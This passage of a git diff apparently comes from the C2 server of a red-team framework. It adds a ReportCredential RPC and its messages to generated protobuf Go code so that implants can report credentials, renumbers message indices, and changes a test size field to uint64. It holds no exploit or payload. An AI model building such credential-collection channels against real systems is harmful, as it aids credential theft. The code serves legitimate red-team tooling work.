+			size = req.Chunk.GetSize()
 		}
 		if hash == "" {
 			hash = req.Chunk.GetSha3_256Hash()
diff --git a/tavern/internal/c2/api_report_file_test.go b/tavern/internal/c2/api_report_file_test.go
index 92fa123d8..a3eca7984 100644
--- a/tavern/internal/c2/api_report_file_test.go
+++ b/tavern/internal/c2/api_report_file_test.go
@@ -78,7 +78,7 @@ func TestReportFile(t *testing.T) {
 		wantOwner       string
 		wantGroup       string
 		wantPermissions string
-		wantSize        int
+		wantSize        uint64
 		wantHash        string
 		wantContent     []byte
 	}{
diff --git a/tavern/internal/c2/c2pb/c2.pb.go b/tavern/internal/c2/c2pb/c2.pb.go
index 5d5ef8004..a39af593d 100644
--- a/tavern/internal/c2/c2pb/c2.pb.go
+++ b/tavern/internal/c2/c2pb/c2.pb.go
@@ -660,6 +660,99 @@ func (x *DownloadFileResponse) GetChunk() []byte {
 	return nil
 }
 
+type ReportCredentialRequest struct {
+	state         protoimpl.MessageState
+	sizeCache     protoimpl.SizeCache
+	unknownFields protoimpl.UnknownFields
+
+	TaskId     int64           `protobuf:"varint,1,opt,name=task_id,json=taskId,proto3" json:"task_id,omitempty"`
+	Credential *epb.Credential `protobuf:"bytes,2,opt,name=credential,proto3" json:"credential,omitempty"`
+}
+
+func (x *ReportCredentialRequest) Reset() {
+	*x = ReportCredentialRequest{}
+	if protoimpl.UnsafeEnabled {
+		mi := &file_c2_proto_msgTypes[10]
+		ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
+		ms.StoreMessageInfo(mi)
+	}
+}
+
+func (x *ReportCredentialRequest) String() string {
+	return protoimpl.X.MessageStringOf(x)
+}
+
+func (*ReportCredentialRequest) ProtoMessage() {}
+
+func (x *ReportCredentialRequest) ProtoReflect() protoreflect.Message {
+	mi := &file_c2_proto_msgTypes[10]
+	if protoimpl.UnsafeEnabled && x != nil {
+		ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
+		if ms.LoadMessageInfo() == nil {
+			ms.StoreMessageInfo(mi)
+		}
+		return ms
+	}
+	return mi.MessageOf(x)
+}
+
+// Deprecated: Use ReportCredentialRequest.ProtoReflect.Descriptor instead.
+func (*ReportCredentialRequest) Descriptor() ([]byte, []int) {
+	return file_c2_proto_rawDescGZIP(), []int{10}
+}
+
+func (x *ReportCredentialRequest) GetTaskId() int64 {
+	if x != nil {
+		return x.TaskId
+	}
+	return 0
+}
+
+func (x *ReportCredentialRequest) GetCredential() *epb.Credential {
+	if x != nil {
+		return x.Credential
+	}
+	return nil
+}
+
+type ReportCredentialResponse struct {
+	state         protoimpl.MessageState
+	sizeCache     protoimpl.SizeCache
+	unknownFields protoimpl.UnknownFields
+}
+
+func (x *ReportCredentialResponse) Reset() {
+	*x = ReportCredentialResponse{}
+	if protoimpl.UnsafeEnabled {
+		mi := &file_c2_proto_msgTypes[11]
+		ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
+		ms.StoreMessageInfo(mi)
+	}
+}
+
+func (x *ReportCredentialResponse) String() string {
+	return protoimpl.X.MessageStringOf(x)
+}
+
+func (*ReportCredentialResponse) ProtoMessage() {}
+
+func (x *ReportCredentialResponse) ProtoReflect() protoreflect.Message {
+	mi := &file_c2_proto_msgTypes[11]
+	if protoimpl.UnsafeEnabled && x != nil {
+		ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
+		if ms.LoadMessageInfo() == nil {
+			ms.StoreMessageInfo(mi)
+		}
+		return ms
+	}
+	return mi.MessageOf(x)
+}
+
+// Deprecated: Use ReportCredentialResponse.ProtoReflect.Descriptor instead.
+func (*ReportCredentialResponse) Descriptor() ([]byte, []int) {
+	return file_c2_proto_rawDescGZIP(), []int{11}
+}
+
 type ReportFileRequest struct {
 	state         protoimpl.MessageState
 	sizeCache     protoimpl.SizeCache
@@ -672,7 +765,7 @@ type ReportFileRequest struct {
 func (x *ReportFileRequest) Reset() {
 	*x = ReportFileRequest{}
 	if protoimpl.UnsafeEnabled {
-		mi := &file_c2_proto_msgTypes[10]
+		mi := &file_c2_proto_msgTypes[12]
 		ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
 		ms.StoreMessageInfo(mi)
 	}
@@ -685,7 +778,7 @@ func (x *ReportFileRequest) String() string {
 func (*ReportFileRequest) ProtoMessage() {}
 
 func (x *ReportFileRequest) ProtoReflect() protoreflect.Message {
-	mi := &file_c2_proto_msgTypes[10]
+	mi := &file_c2_proto_msgTypes[12]
 	if protoimpl.UnsafeEnabled && x != nil {
 		ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
 		if ms.LoadMessageInfo() == nil {
@@ -698,7 +791,7 @@ func (x *ReportFileRequest) ProtoReflect() protoreflect.Message {
 
 // Deprecated: Use ReportFileRequest.ProtoReflect.Descriptor instead.
 func (*ReportFileRequest) Descriptor() ([]byte, []int) {
-	return file_c2_proto_rawDescGZIP(), []int{10}
+	return file_c2_proto_rawDescGZIP(), []int{12}
 }
 
 func (x *ReportFileRequest) GetTaskId() int64 {
@@ -724,7 +817,7 @@ type ReportFileResponse struct {
 func (x *ReportFileResponse) Reset() {
 	*x = ReportFileResponse{}
 	if protoimpl.UnsafeEnabled {
-		mi := &file_c2_proto_msgTypes[11]
+		mi := &file_c2_proto_msgTypes[13]
 		ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
 		ms.StoreMessageInfo(mi)
 	}
@@ -737,7 +830,7 @@ func (x *ReportFileResponse) String() string {
 func (*ReportFileResponse) ProtoMessage() {}
 
 func (x *ReportFileResponse) ProtoReflect() protoreflect.Message {
-	mi := &file_c2_proto_msgTypes[11]
+	mi := &file_c2_proto_msgTypes[13]
 	if protoimpl.UnsafeEnabled && x != nil {
 		ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
 		if ms.LoadMessageInfo() == nil {
@@ -750,7 +843,7 @@ func (x *ReportFileResponse) ProtoReflect() protoreflect.Message {
 
 // Deprecated: Use ReportFileResponse.ProtoReflect.Descriptor instead.
 func (*ReportFileResponse) Descriptor() ([]byte, []int) {
-	return file_c2_proto_rawDescGZIP(), []int{11}
+	return file_c2_proto_rawDescGZIP(), []int{13}
 }
 
 type ReportProcessListRequest struct {
@@ -765,7 +858,7 @@ type ReportProcessListRequest struct {
 func (x *ReportProcessListRequest) Reset() {
 	*x = ReportProcessListRequest{}
 	if protoimpl.UnsafeEnabled {
-		mi := &file_c2_proto_msgTypes[12]
+		mi := &file_c2_proto_msgTypes[14]
 		ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
 		ms.StoreMessageInfo(mi)
 	}
@@ -778,7 +871,7 @@ func (x *ReportProcessListRequest) String() string {
 func (*ReportProcessListRequest) ProtoMessage() {}
 
 func (x *ReportProcessListRequest) ProtoReflect() protoreflect.Message {
-	mi := &file_c2_proto_msgTypes[12]
+	mi := &file_c2_proto_msgTypes[14]
 	if protoimpl.UnsafeEnabled && x != nil {
 		ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
 		if ms.LoadMessageInfo() == nil {
@@ -791,7 +884,7 @@ func (x *ReportProcessListRequest) ProtoReflect() protoreflect.Message {
 
 // Deprecated: Use ReportProcessListRequest.ProtoReflect.Descriptor instead.
 func (*ReportProcessListRequest) Descriptor() ([]byte, []int) {
-	return file_c2_proto_rawDescGZIP(), []int{12}
+	return file_c2_proto_rawDescGZIP(), []int{14}
 }
 
 func (x *ReportProcessListRequest) GetTaskId() int64 {
@@ -817,7 +910,7 @@ type ReportProcessListResponse struct {
 func (x *ReportProcessListResponse) Reset() {
 	*x = ReportProcessListResponse{}
 	if protoimpl.UnsafeEnabled {
-		mi := &file_c2_proto_msgTypes[13]
+		mi := &file_c2_proto_msgTypes[15]
 		ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
 		ms.StoreMessageInfo(mi)
 	}
@@ -830,7 +923,7 @@ func (x *ReportProcessListResponse) String() string {
 func (*ReportProcessListResponse) ProtoMessage() {}
 
 func (x *ReportProcessListResponse) ProtoReflect() protoreflect.Message {
-	mi := &file_c2_proto_msgTypes[13]
+	mi := &file_c2_proto_msgTypes[15]
 	if protoimpl.UnsafeEnabled && x != nil {
 		ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
 		if ms.LoadMessageInfo() == nil {
@@ -843,7 +936,7 @@ func (x *ReportProcessListResponse) ProtoReflect() protoreflect.Message {
 
 // Deprecated: Use ReportProcessListResponse.ProtoReflect.Descriptor instead.
 func (*ReportProcessListResponse) Descriptor() ([]byte, []int) {
-	return file_c2_proto_rawDescGZIP(), []int{13}
+	return file_c2_proto_rawDescGZIP(), []int{15}
 }
 
 type ReportTaskOutputRequest struct {
@@ -857,7 +950,7 @@ type ReportTaskOutputRequest struct {
 func (x *ReportTaskOutputRequest) Reset() {
 	*x = ReportTaskOutputRequest{}
 	if protoimpl.UnsafeEnabled {
-		mi := &file_c2_proto_msgTypes[14]
+		mi := &file_c2_proto_msgTypes[16]
 		ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
 		ms.StoreMessageInfo(mi)
 	}
@@ -870,7 +963,7 @@ func (x *ReportTaskOutputRequest) String() string {
 func (*ReportTaskOutputRequest) ProtoMessage() {}
 
 func (x *ReportTaskOutputRequest) ProtoReflect() protoreflect.Message {
-	mi := &file_c2_proto_msgTypes[14]
+	mi := &file_c2_proto_msgTypes[16]
 	if protoimpl.UnsafeEnabled && x != nil {
 		ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
 		if ms.LoadMessageInfo() == nil {
@@ -883,7 +976,7 @@ func (x *ReportTaskOutputRequest) ProtoReflect() protoreflect.Message {
 
 // Deprecated: Use ReportTaskOutputRequest.ProtoReflect.Descriptor instead.
 func (*ReportTaskOutputRequest) Descriptor() ([]byte, []int) {
-	return file_c2_proto_rawDescGZIP(), []int{14}
+	return file_c2_proto_rawDescGZIP(), []int{16}
 }
 
 func (x *ReportTaskOutputRequest) GetOutput() *TaskOutput {
@@ -902,7 +995,7 @@ type ReportTaskOutputResponse struct {
 func (x *ReportTaskOutputResponse) Reset() {
 	*x = ReportTaskOutputResponse{}
 	if protoimpl.UnsafeEnabled {
-		mi := &file_c2_proto_msgTypes[15]
+		mi := &file_c2_proto_msgTypes[17]
 		ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
 		ms.StoreMessageInfo(mi)
 	}
@@ -915,7 +1008,7 @@ func (x *ReportTaskOutputResponse) String() string {
 func (*ReportTaskOutputResponse) ProtoMessage() {}
 
 func (x *ReportTaskOutputResponse) ProtoReflect() protoreflect.Message {
-	mi := &file_c2_proto_msgTypes[15]
+	mi := &file_c2_proto_msgTypes[17]
 	if protoimpl.UnsafeEnabled && x != nil {
 		ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
 		if ms.LoadMessageInfo() == nil {
@@ -928,7 +1021,7 @@ func (x *ReportTaskOutputResponse) ProtoReflect() protoreflect.Message {
 
 // Deprecated: Use ReportTaskOutputResponse.ProtoReflect.Descriptor instead.
 func (*ReportTaskOutputResponse) Descriptor() ([]byte, []int) {
-	return file_c2_proto_rawDescGZIP(), []int{15}
+	return file_c2_proto_rawDescGZIP(), []int{17}
 }
 
 var File_c2_proto protoreflect.FileDescriptor
@@ -1001,53 +1094,66 @@ var file_c2_proto_rawDesc = []byte{
 	0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x22, 0x2c, 0x0a, 0x14, 0x44, 0x6f, 0x77, 0x6e, 0x6c,
 	0x6f, 0x61, 0x64, 0x46, 0x69, 0x6c, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12,
 	0x14, 0x0a, 0x05, 0x63, 0x68, 0x75, 0x6e, 0x6b, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x05,
-	0x63, 0x68, 0x75, 0x6e, 0x6b, 0x22, 0x52, 0x0a, 0x11, 0x52, 0x65, 0x70, 0x6f, 0x72, 0x74, 0x46,
-	0x69, 0x6c, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x17, 0x0a, 0x07, 0x74, 0x61,
-	0x73, 0x6b, 0x5f, 0x69, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x03, 0x52, 0x06, 0x74, 0x61, 0x73,
-	0x6b, 0x49, 0x64, 0x12, 0x24, 0x0a, 0x05, 0x63, 0x68, 0x75, 0x6e, 0x6b, 0x18, 0x02, 0x20, 0x01,
-	0x28, 0x0b, 0x32, 0x0e, 0x2e, 0x65, 0x6c, 0x64, 0x72, 0x69, 0x74, 0x63, 0x68, 0x2e, 0x46, 0x69,
-	0x6c, 0x65, 0x52, 0x05, 0x63, 0x68, 0x75, 0x6e, 0x6b, 0x22, 0x14, 0x0a, 0x12, 0x52, 0x65, 0x70,
-	0x6f, 0x72, 0x74, 0x46, 0x69, 0x6c, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22,
-	0x5e, 0x0a, 0x18, 0x52, 0x65, 0x70, 0x6f, 0x72, 0x74, 0x50, 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73,
-	0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x17, 0x0a, 0x07, 0x74,
-	0x61, 0x73, 0x6b, 0x5f, 0x69, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x03, 0x52, 0x06, 0x74, 0x61,
-	0x73, 0x6b, 0x49, 0x64, 0x12, 0x29, 0x0a, 0x04, 0x6c, 0x69, 0x73, 0x74, 0x18, 0x02, 0x20, 0x01,
-	0x28, 0x0b, 0x32, 0x15, 0x2e, 0x65, 0x6c, 0x64, 0x72, 0x69, 0x74, 0x63, 0x68, 0x2e, 0x50, 0x72,
-	0x6f, 0x63, 0x65, 0x73, 0x73, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x04, 0x6c, 0x69, 0x73, 0x74, 0x22,
-	0x1b, 0x0a, 0x19, 0x52, 0x65, 0x70, 0x6f, 0x72, 0x74, 0x50, 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73,
-	0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x41, 0x0a, 0x17,
+	0x63, 0x68, 0x75, 0x6e, 0x6b, 0x22, 0x68, 0x0a, 0x17, 0x52, 0x65, 0x70, 0x6f, 0x72, 0x74, 0x43,
+	0x72, 0x65, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74,
+	0x12, 0x17, 0x0a, 0x07, 0x74, 0x61, 0x73, 0x6b, 0x5f, 0x69, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28,
+	0x03, 0x52, 0x06, 0x74, 0x61, 0x73, 0x6b, 0x49, 0x64, 0x12, 0x34, 0x0a, 0x0a, 0x63, 0x72, 0x65,
+	0x64, 0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x14, 0x2e,
+	0x65, 0x6c, 0x64, 0x72, 0x69, 0x74, 0x63, 0x68, 0x2e, 0x43, 0x72, 0x65, 0x64, 0x65, 0x6e, 0x74,
+	0x69, 0x61, 0x6c, 0x52, 0x0a, 0x63, 0x72, 0x65, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c, 0x22,
+	0x1a, 0x0a, 0x18, 0x52, 0x65, 0x70, 0x6f, 0x72, 0x74, 0x43, 0x72, 0x65, 0x64, 0x65, 0x6e, 0x74,
+	0x69, 0x61, 0x6c, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x52, 0x0a, 0x11, 0x52,
+	0x65, 0x70, 0x6f, 0x72, 0x74, 0x46, 0x69, 0x6c, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74,
+	0x12, 0x17, 0x0a, 0x07, 0x74, 0x61, 0x73, 0x6b, 0x5f, 0x69, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28,
+	0x03, 0x52, 0x06, 0x74, 0x61, 0x73, 0x6b, 0x49, 0x64, 0x12, 0x24, 0x0a, 0x05, 0x63, 0x68, 0x75,
+	0x6e, 0x6b, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x0e, 0x2e, 0x65, 0x6c, 0x64, 0x72, 0x69,
+	0x74, 0x63, 0x68, 0x2e, 0x46, 0x69, 0x6c, 0x65, 0x52, 0x05, 0x63, 0x68, 0x75, 0x6e, 0x6b, 0x22,
+	0x14, 0x0a, 0x12, 0x52, 0x65, 0x70, 0x6f, 0x72, 0x74, 0x46, 0x69, 0x6c, 0x65, 0x52, 0x65, 0x73,
+	0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x5e, 0x0a, 0x18, 0x52, 0x65, 0x70, 0x6f, 0x72, 0x74, 0x50,
+	0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73,
+	0x74, 0x12, 0x17, 0x0a, 0x07, 0x74, 0x61, 0x73, 0x6b, 0x5f, 0x69, 0x64, 0x18, 0x01, 0x20, 0x01,
+	0x28, 0x03, 0x52, 0x06, 0x74, 0x61, 0x73, 0x6b, 0x49, 0x64, 0x12, 0x29, 0x0a, 0x04, 0x6c, 0x69,
+	0x73, 0x74, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x15, 0x2e, 0x65, 0x6c, 0x64, 0x72, 0x69,
+	0x74, 0x63, 0x68, 0x2e, 0x50, 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, 0x4c, 0x69, 0x73, 0x74, 0x52,
+	0x04, 0x6c, 0x69, 0x73, 0x74, 0x22, 0x1b, 0x0a, 0x19, 0x52, 0x65, 0x70, 0x6f, 0x72, 0x74, 0x50,
+	0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e,
+	0x73, 0x65, 0x22, 0x41, 0x0a, 0x17, 0x52, 0x65, 0x70, 0x6f, 0x72, 0x74, 0x54, 0x61, 0x73, 0x6b,
+	0x4f, 0x75, 0x74, 0x70, 0x75, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x26, 0x0a,
+	0x06, 0x6f, 0x75, 0x74, 0x70, 0x75, 0x74, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x0e, 0x2e,
+	0x63, 0x32, 0x2e, 0x54, 0x61, 0x73, 0x6b, 0x4f, 0x75, 0x74, 0x70, 0x75, 0x74, 0x52, 0x06, 0x6f,
+	0x75, 0x74, 0x70, 0x75, 0x74, 0x22, 0x1a, 0x0a, 0x18, 0x52, 0x65, 0x70, 0x6f, 0x72, 0x74, 0x54,
+	0x61, 0x73, 0x6b, 0x4f, 0x75, 0x74, 0x70, 0x75, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73,
+	0x65, 0x32, 0xb9, 0x03, 0x0a, 0x02, 0x43, 0x32, 0x12, 0x3d, 0x0a, 0x0a, 0x43, 0x6c, 0x61, 0x69,
+	0x6d, 0x54, 0x61, 0x73, 0x6b, 0x73, 0x12, 0x15, 0x2e, 0x63, 0x32, 0x2e, 0x43, 0x6c, 0x61, 0x69,
+	0x6d, 0x54, 0x61, 0x73, 0x6b, 0x73, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e,
+	0x63, 0x32, 0x2e, 0x43, 0x6c, 0x61, 0x69, 0x6d, 0x54, 0x61, 0x73, 0x6b, 0x73, 0x52, 0x65, 0x73,
+	0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x00, 0x12, 0x43, 0x0a, 0x0c, 0x44, 0x6f, 0x77, 0x6e, 0x6c,
+	0x6f, 0x61, 0x64, 0x46, 0x69, 0x6c, 0x65, 0x12, 0x17, 0x2e, 0x63, 0x32, 0x2e, 0x44, 0x6f, 0x77,
+	0x6e, 0x6c, 0x6f, 0x61, 0x64, 0x46, 0x69, 0x6c, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74,
+	0x1a, 0x18, 0x2e, 0x63, 0x32, 0x2e, 0x44, 0x6f, 0x77, 0x6e, 0x6c, 0x6f, 0x61, 0x64, 0x46, 0x69,
+	0x6c, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x30, 0x01, 0x12, 0x4d, 0x0a, 0x10,
+	0x52, 0x65, 0x70, 0x6f, 0x72, 0x74, 0x43, 0x72, 0x65, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c,
+	0x12, 0x1b, 0x2e, 0x63, 0x32, 0x2e, 0x52, 0x65, 0x70, 0x6f, 0x72, 0x74, 0x43, 0x72, 0x65, 0x64,
+	0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1c, 0x2e,
+	0x63, 0x32, 0x2e, 0x52, 0x65, 0x70, 0x6f, 0x72, 0x74, 0x43, 0x72, 0x65, 0x64, 0x65, 0x6e, 0x74,
+	0x69, 0x61, 0x6c, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x3d, 0x0a, 0x0a, 0x52,
+	0x65, 0x70, 0x6f, 0x72, 0x74, 0x46, 0x69, 0x6c, 0x65, 0x12, 0x15, 0x2e, 0x63, 0x32, 0x2e, 0x52,
+	0x65, 0x70, 0x6f, 0x72, 0x74, 0x46, 0x69, 0x6c, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74,
+	0x1a, 0x16, 0x2e, 0x63, 0x32, 0x2e, 0x52, 0x65, 0x70, 0x6f, 0x72, 0x74, 0x46, 0x69, 0x6c, 0x65,
+	0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x28, 0x01, 0x12, 0x50, 0x0a, 0x11, 0x52, 0x65,
+	0x70, 0x6f, 0x72, 0x74, 0x50, 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, 0x4c, 0x69, 0x73, 0x74, 0x12,
+	0x1c, 0x2e, 0x63, 0x32, 0x2e, 0x52, 0x65, 0x70, 0x6f, 0x72, 0x74, 0x50, 0x72, 0x6f, 0x63, 0x65,
+	0x73, 0x73, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1d, 0x2e,
+	0x63, 0x32, 0x2e, 0x52, 0x65, 0x70, 0x6f, 0x72, 0x74, 0x50, 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73,
+	0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x4f, 0x0a, 0x10,
 	0x52, 0x65, 0x70, 0x6f, 0x72, 0x74, 0x54, 0x61, 0x73, 0x6b, 0x4f, 0x75, 0x74, 0x70, 0x75, 0x74,
-	0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x26, 0x0a, 0x06, 0x6f, 0x75, 0x74, 0x70, 0x75,
-	0x74, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x0e, 0x2e, 0x63, 0x32, 0x2e, 0x54, 0x61, 0x73,
-	0x6b, 0x4f, 0x75, 0x74, 0x70, 0x75, 0x74, 0x52, 0x06, 0x6f, 0x75, 0x74, 0x70, 0x75, 0x74, 0x22,
-	0x1a, 0x0a, 0x18, 0x52, 0x65, 0x70, 0x6f, 0x72, 0x74, 0x54, 0x61, 0x73, 0x6b, 0x4f, 0x75, 0x74,
-	0x70, 0x75, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x32, 0xea, 0x02, 0x0a, 0x02,
-	0x43, 0x32, 0x12, 0x3d, 0x0a, 0x0a, 0x43, 0x6c, 0x61, 0x69, 0x6d, 0x54, 0x61, 0x73, 0x6b, 0x73,
-	0x12, 0x15, 0x2e, 0x63, 0x32, 0x2e, 0x43, 0x6c, 0x61, 0x69, 0x6d, 0x54, 0x61, 0x73, 0x6b, 0x73,
-	0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x63, 0x32, 0x2e, 0x43, 0x6c, 0x61,
-	0x69, 0x6d, 0x54, 0x61, 0x73, 0x6b, 0x73, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22,
-	0x00, 0x12, 0x43, 0x0a, 0x0c, 0x44, 0x6f, 0x77, 0x6e, 0x6c, 0x6f, 0x61, 0x64, 0x46, 0x69, 0x6c,
-	0x65, 0x12, 0x17, 0x2e, 0x63, 0x32, 0x2e, 0x44, 0x6f, 0x77, 0x6e, 0x6c, 0x6f, 0x61, 0x64, 0x46,
-	0x69, 0x6c, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x18, 0x2e, 0x63, 0x32, 0x2e,
-	0x44, 0x6f, 0x77, 0x6e, 0x6c, 0x6f, 0x61, 0x64, 0x46, 0x69, 0x6c, 0x65, 0x52, 0x65, 0x73, 0x70,
-	0x6f, 0x6e, 0x73, 0x65, 0x30, 0x01, 0x12, 0x3d, 0x0a, 0x0a, 0x52, 0x65, 0x70, 0x6f, 0x72, 0x74,
-	0x46, 0x69, 0x6c, 0x65, 0x12, 0x15, 0x2e, 0x63, 0x32, 0x2e, 0x52, 0x65, 0x70, 0x6f, 0x72, 0x74,
-	0x46, 0x69, 0x6c, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x63, 0x32,
-	0x2e, 0x52, 0x65, 0x70, 0x6f, 0x72, 0x74, 0x46, 0x69, 0x6c, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f,
-	0x6e, 0x73, 0x65, 0x28, 0x01, 0x12, 0x50, 0x0a, 0x11, 0x52, 0x65, 0x70, 0x6f, 0x72, 0x74, 0x50,
-	0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, 0x4c, 0x69, 0x73, 0x74, 0x12, 0x1c, 0x2e, 0x63, 0x32, 0x2e,
-	0x52, 0x65, 0x70, 0x6f, 0x72, 0x74, 0x50, 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, 0x4c, 0x69, 0x73,
-	0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1d, 0x2e, 0x63, 0x32, 0x2e, 0x52, 0x65,
-	0x70, 0x6f, 0x72, 0x74, 0x50, 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, 0x4c, 0x69, 0x73, 0x74, 0x52,
-	0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x4f, 0x0a, 0x10, 0x52, 0x65, 0x70, 0x6f, 0x72,
-	0x74, 0x54, 0x61, 0x73, 0x6b, 0x4f, 0x75, 0x74, 0x70, 0x75, 0x74, 0x12, 0x1b, 0x2e, 0x63, 0x32,
-	0x2e, 0x52, 0x65, 0x70, 0x6f, 0x72, 0x74, 0x54, 0x61, 0x73, 0x6b, 0x4f, 0x75, 0x74, 0x70, 0x75,
-	0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1c, 0x2e, 0x63, 0x32, 0x2e, 0x52, 0x65,
-	0x70, 0x6f, 0x72, 0x74, 0x54, 0x61, 0x73, 0x6b, 0x4f, 0x75, 0x74, 0x70, 0x75, 0x74, 0x52, 0x65,
-	0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x00, 0x42, 0x23, 0x5a, 0x21, 0x72, 0x65, 0x61, 0x6c,
-	0x6d, 0x2e, 0x70, 0x75, 0x62, 0x2f, 0x74, 0x61, 0x76, 0x65, 0x72, 0x6e, 0x2f, 0x69, 0x6e, 0x74,
-	0x65, 0x72, 0x6e, 0x61, 0x6c, 0x2f, 0x63, 0x32, 0x2f, 0x63, 0x32, 0x70, 0x62, 0x62, 0x06, 0x70,
-	0x72, 0x6f, 0x74, 0x6f, 0x33,
+	0x12, 0x1b, 0x2e, 0x63, 0x32, 0x2e, 0x52, 0x65, 0x70, 0x6f, 0x72, 0x74, 0x54, 0x61, 0x73, 0x6b,
+	0x4f, 0x75, 0x74, 0x70, 0x75, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1c, 0x2e,
+	0x63, 0x32, 0x2e, 0x52, 0x65, 0x70, 0x6f, 0x72, 0x74, 0x54, 0x61, 0x73, 0x6b, 0x4f, 0x75, 0x74,
+	0x70, 0x75, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x00, 0x42, 0x23, 0x5a,
+	0x21, 0x72, 0x65, 0x61, 0x6c, 0x6d, 0x2e, 0x70, 0x75, 0x62, 0x2f, 0x74, 0x61, 0x76, 0x65, 0x72,
+	0x6e, 0x2f, 0x69, 0x6e, 0x74, 0x65, 0x72, 0x6e, 0x61, 0x6c, 0x2f, 0x63, 0x32, 0x2f, 0x63, 0x32,
+	0x70, 0x62, 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33,
 }
 
 var (
